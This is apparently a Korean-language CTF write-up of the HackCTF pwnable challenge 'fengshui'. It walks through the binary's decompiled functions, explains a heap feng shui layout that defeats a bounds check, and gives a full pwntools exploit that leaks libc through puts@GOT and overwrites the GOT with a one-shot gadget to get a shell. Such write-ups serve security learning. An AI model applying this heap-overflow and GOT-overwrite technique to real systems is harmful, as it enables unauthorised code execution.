tmxklab

[HackCTF/Pwnable] 풍수지리설 본문

War Game/HackCTF

[HackCTF/Pwnable] 풍수지리설

tmxk4221 2020. 8. 15. 20:03

Heap Feng Shui기법 이용


1. 문제

nc ctf.j0n9hyun.xyz 3028

 

1) mitigation 확인

 

2) 문제 확인

 

3) 코드 흐름 확인

3-1) main()

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char v3; // [esp+3h] [ebp-15h]
  int v4; // [esp+4h] [ebp-14h]
  int v5; // [esp+8h] [ebp-10h]
  unsigned int v6; // [esp+Ch] [ebp-Ch]

  v6 = __readgsdword(0x14u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  alarm(0x3Cu);
  while ( 1 )
  {
    puts("0: Add a Location");
    puts("1: Delete a Location");
    puts("2: Display a Location");
    puts("3: Update a Location description");
    puts("4: Exit");
    printf("Choice: ");
    if ( __isoc99_scanf("%d", &v4) == -1 )
      break;
    if ( !v4 )
    {
      printf("Size of description: ");
      __isoc99_scanf("%u%c", &v5, &v3);
      add_location(v5);
    }
    if ( v4 == 1 )
    {
      printf("Index: ");
      __isoc99_scanf("%d", &v5);
      delete_location((unsigned __int8)v5);
    }
    if ( v4 == 2 )
    {
      printf("Index: ");
      __isoc99_scanf("%d", &v5);
      display_location((unsigned __int8)v5);
    }
    if ( v4 == 3 )
    {
      printf("Index: ");
      __isoc99_scanf("%d", &v5);
      update_desc((unsigned __int8)v5);
    }
    if ( v4 == 4 )
    {
      puts("^^7");
      exit(0);
    }
    if ( (unsigned __int8)cnt > 0x31u )
    {
      puts("Capacity Exceeded!");
      exit(0);
    }
  }
  exit(1);
}

 

3-2) add_location()

_DWORD *__cdecl add_location(size_t a1)
{
  void *s; // ST24_4
  _DWORD *v2; // ST28_4

  s = malloc(a1);
  memset(s, 0, a1);
  v2 = malloc(0x80u);
  memset(v2, 0, 0x80u);
  *v2 = s;
  store[(unsigned __int8)cnt] = v2;
  printf("Name: ");
  read_len((char *)store[(unsigned __int8)cnt] + 4, 124);
  update_desc((unsigned __int8)(++cnt - 1));
  return v2;
}
  • s변수에 a1만큼 malloc, memset
  • v2에 0x80만큼 malloc, memset
  • v2에 s변수를 저장하고 결국 store[cnt]에 v2를 저장
  • store[cnt]+4와 124를 read_len()인자로 전달
  • (++cnt-1)을 update_desc()인자로 전달

 

3-3) delete_location()

unsigned int __cdecl delete_location(unsigned __int8 a1)
{
  unsigned int v2; // [esp+1Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  if ( a1 < (unsigned __int8)cnt && store[a1] )
  {
    free(*(void **)store[a1]);
    free(store[a1]);
    store[a1] = 0;
  }
  return __readgsdword(0x14u) ^ v2;
}
  • cnt값이 a1보다 크면서 store[a1]에 값이 존재하면 if문 통과
  • [text를 저장한 청크] free → [name저장한 청크] free
  • free한 청크에 해당하는 store변수 인덱스에 0으로 저장

 

3-4) display_location()

unsigned int __cdecl display_location(unsigned __int8 a1)
{
  unsigned int v2; // [esp+1Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  if ( a1 < (unsigned __int8)cnt && store[a1] )
  {
    printf("Name: %s\n", (char *)store[a1] + 4);
    printf("Description: %s\n", *(_DWORD *)store[a1]);
  }
  return __readgsdword(0x14u) ^ v2;
}
  • cnt값이 a1보다 크면서 store[a1]에 값이 존재하면 if문 통과
  • name, desc출력

 

3-5) update_desc()

unsigned int __cdecl update_desc(unsigned __int8 a1)
{
  char v2; // [esp+17h] [ebp-11h]
  int v3; // [esp+18h] [ebp-10h]
  unsigned int v4; // [esp+1Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  if ( a1 < cnt && store[a1] )
  {
    v3 = 0;
    printf("Text length: ");
    __isoc99_scanf("%u%c", &v3, &v2);
    if ( (v3 + *store[a1]) >= store[a1] - 4 )
    {
      puts("Nah...");
      exit(1);
    }
    printf("Text: ");
    read_len(*store[a1], v3 + 1);
  }
  return __readgsdword(0x14u) ^ v4;
}
  • cnt값이 a1보다 크면서 store[a1]에 값이 존재하면 if문 통과(cnt는 전역 변수로 청크가 추가될 때마다 증가한다.)
  • text에 대한 입력 사이즈를 받음
  • text가 저장된 주소 + 사이즈가 name주소보다 크면 exit()실행

 

3-6) read_len()

unsigned int __cdecl read_len(char *a1, int a2)
{
  char *v3; // [esp+18h] [ebp-10h]
  unsigned int v4; // [esp+1Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  fgets(a1, a2, stdin);
  v3 = strchr(a1, 10);
  if ( v3 )
    *v3 = 0;
  return __readgsdword(0x14u) ^ v4;
}
  • fgets함수로 a1에 a2만큼 입력을 받을 수 있음
  • add_location()에서 read_len()을 호출할 때 파라미터 a2는 124(0x7c)bytes로 고정되어 있음

 

전역변수)

  • cnt : 0x804b069
  • store : 0x804b080

 

정리)

  • add_location : 새로운 user를 추가함 → name과 desc값을 힙 영역에 저장하고 전역변수 store가 관리함, 이 때, name 청크는 0x80으로 고정이지만 desc 청크는 사용자의 입력에 따라 크기가 가변
  • delete_location : desc청크를 먼저 free하고 name청크를 free한 다음에 store전역변수에 널 값 삽입
  • display_location : name값과 desc값을 출력
  • update_desc : 다음 2개의 if문을 통과하면 선택한 인덱스의 desc변경
    • if ( a1 < cnt && store[a1] )
      • 해당 User가 존재하는지 검증
    • if ( ( v3 + store[a1] ) ≥ store[a1] - 4 )
      • v3 + *store[a1] : desc청크의 주소로부터 desc의 입력 값 길이를 합한 값
      • store[a1] - 4 : name청크의 size부분(0x89)
      • desc값을 입력하기 전에 name청크를 침범하는지 검증

 


2. 접근방법

 

디버깅을 통해 청크의 구조를 자세히 확인해보자

  • 총 1번의 add_location()를 호출한 결과이며 총 2개의 청크가 생성되었다.
  • 전역변수 store에서는 size가 0x88bytes인 청크의 주소를 가지고 있다.
  • 해당 청크에는 text의 저장한 청크[size : 0x18]의 주소와 name에 대한 입력 값이 저장되어 있다.

  • text = desc

 

알아야할 점)

  • name청크는 0x80사이즈로 고정되어 있고 desc청크는 가변적
  • free하면 힙 주소를 관리하는 store전역변수의 해당 인덱스에 널값 삽입
  • desc청크가 name청크를 침범할 수 없도록 update_desc()의 두 번째 if문에서 검증 → heap overflow 방지

 

name청크와 desc청크의 크기가 다르므로 free될 경우 들어가는 bin도 다르다.

  • 2개의 user를 추가하고 첫 번째 user를 free하였을 때
  • desc청크는 fastbin[1]에 들어가고 name청크는 unsorted bin에 들어간다.

 

만일, 새로운 유저를 생성하고 desc의 크기를 name청크의 크기와 같도록 malloc하면 unsorted bin에 들어갔던 free chunk를 재활용하게 될 것이다.

 

 

확인 결과)

  • fastbin[1]은 남아있고 unsorted bin은 빠져나가 desc로 사용하고 있음

 

이제 문제는 여기서 터진다.

아까 위에서 desc값이 name청크의 범위를 검증하기 위해 update_desc의 두 번째 if문을 수행하게 된다고 하였다.. → *if ( ( v3 + store[a1] ) ≥ store[a1] - 4 )

 

그럼 마지막으로 생성된 Chunk에서 update_desc()를 호출하였을 때 desc값이 쓸 수 있는 범위는 desc 청크부터 ~ name 청크의 prev_size까지 일 것이다.

 

그림을 통해 확인해보자

 

마지막으로 생성된 Chunk가 User D라고 했을 때 desc와 name청크 사이에 User B, C의 name, desc청크가 존재한다.

즉, User D의 desc청크부터 User B, User C를 지나서 User D의 name청크의 prev_size까지 모두 사용가능하다.

 

이를 통해 Heap Overflow가 발생하여 User B, C의 name청크에 존재하는 desc주소 값부분을 컨트롤할 수 있게 된다.

이렇게 User D의 Heap Layout을 조정함으로써 익스할 수 있게 만드는 Heap Layout 형태를 Feng Shui라고 한다.

 

공격 프로세스)

  • Heap Feng Shui
  • Heap Overflow → name청크의 desc주소 값 변경
  • Leak Libc Func Addr → display_location()
  • GOT Overwrite

 

 


3. 풀이

 

1) 원샷 가젯

 

2) 익스 코드

from pwn import *

context(log_level="debug", arch="i386", os="linux")

#p = process("./fengshui")
e = ELF("./fengshui")
libc = ELF("/home/cmc/Desktop/lib_hack/poongsu/libc.so.6")
p = remote("ctf.j0n9hyun.xyz", 3028)
#gdb.attach(p, """b*0x8048816""")

oneshot_offset = 0x3ac5c
puts_offset = libc.symbols['puts']
puts_got = e.got['puts']


def add(size, name, length, text):
	p.sendlineafter(": ", str(0))
	p.sendlineafter("description: ", str(size))
	p.sendlineafter("Name: ", name)
	p.sendlineafter("length: ",str(length))
	p.sendlineafter("Text: ", text)


def delete(idx):
	p.sendlineafter(": ", str(1))
	p.sendlineafter("Index: ", str(idx))


def display(idx):
	p.sendlineafter(": ", str(2))
	p.sendlineafter("Index: ", str(idx))



def update(idx, length, text):
	p.sendlineafter(": ", str(3))
	p.sendlineafter("Index: ", str(idx))
	p.sendlineafter("length: ", str(length))
	p.sendlineafter("Text: ", text)


# 1. Heap Feung Shui
add(20, "AAAA", 10, "XXXX")
add(20, "BBBB", 10, "YYYY")
add(20, "CCCC", 10, "ZZZZ")

delete(0)

payload = "D"*0xa0 + p32(puts_got)
add(128, "D", len(payload), payload)

# 2. leak puts() addr
display(1)

p.recvuntil("Description: ")
puts_addr = u32(p.recv(4))
libc_base = puts_addr - puts_offset
oneshot_addr = libc_base + oneshot_offset

log.info("puts_addr : "+hex(puts_addr))
log.info("libc_base : "+hex(libc_base))
log.info("one shot  : "+hex(oneshot_addr))

# 3. GOT Overwrite
update(1, len(p32(oneshot_addr)), p32(oneshot_addr))

p.interactive()

 

3) 실행 결과


4. 몰랐던 개념

1) Heap Feng Shui

 

12.Heap Feng Shui - TechNote - Lazenca.0x0

Excuse the ads! We need some help to keep our site up. List Heap Feng Shui Heap Feng Shui란 Heap영역 할당된 chunk의 레이아웃을 조작하여 Exploit을 용이하게 하는 기술입니다.Heap Feng Shui를 이용해 Exploit의 정교함과 ��

www.lazenca.net

 

'War Game > HackCTF' 카테고리의 다른 글

[HackCTF/Pwnable] babyheap  (0) 2020.08.15
[HackCTF/Pwnable] Unexploitable #2  (0) 2020.08.15
[HackCTF/Pwnable] World Best Encryption Tool  (0) 2020.08.15
[HackCTF/Pwnable] register  (0) 2020.08.15
[HackCTF/Pwnable] rtc  (0) 2020.08.06
Comments